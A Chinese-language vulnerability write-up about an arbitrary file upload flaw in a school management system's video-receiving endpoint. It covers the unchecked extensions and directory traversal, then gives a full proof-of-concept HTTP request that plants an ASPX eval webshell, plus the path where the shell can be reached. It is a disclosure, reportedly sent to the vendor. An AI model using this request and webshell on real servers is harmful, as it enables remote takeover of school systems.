智慧校园(安校易)管理系统存在文件上传漏洞

一、漏洞简介

智慧校园(安校易)管理系统/Tool/ReceiveClassVideo.ashx接口存在任意文件上传漏洞，攻击者可通过该漏洞上传任意文件到服务器上，包括木马后门文件，导致服务器权限被控制

二、影响版本

智慧校园(安校易)管理系统

三、漏洞原理分析

漏洞发生在
\KR.Administrator\KR.Administrator.Tool\ReceiveClassVideo.cs

上述代码中可以看到通过REQUEST方式传参orgid、classID、file_tmid三个参数，其中orgid对应的是上传目录名（经检测可以使用../进行目录穿越），file_tmid对应的是上传文件名，classID则是班级视频表参数（不重要）；且上述代码中未对上传文件后缀及文件内容进行检测

这里有个点，后面的if判断中按代码顺序把文件先删掉，然后在保存。。。

接着找到对应调用的文件/Tool/ImportClassVideo.aspx
通过观察该文件内容，发现调用文件/Tool/ReceiveClassVideo.ashx

至此代码审计结束

四、漏洞复现

构造POC如下：

POST /Tool/ReceiveClassVideo.ashx?file_tmid=798&orgid=1&classID=1 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 367
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="File1"; filename="1.aspx"
Content-Type: image/jpeg

<%@ Page Language="Jscript" validateRequest="false" %>
<%
function xxxx(str)
{
        return eval(str,"unsafe");
}
%>
<%var a = Request.Item["pass"];%>
<%var b = xxxx(a);%>
<%Response.Write(b);%>
------dqdaieopnozbkapjacdbdthlvtlyl--

返回的响应内容不用管

访问url+Upload/AD_Info/1/798.aspx

五、总结

第一次写代码审计文章，各位大佬见谅，有什么地方错误的欢迎指出，在问题中进步。自己刚起步学ASP.NET审计不到一周，想着实战一下，误打误撞出了一个文件上传漏洞，该漏洞已上报厂商！！！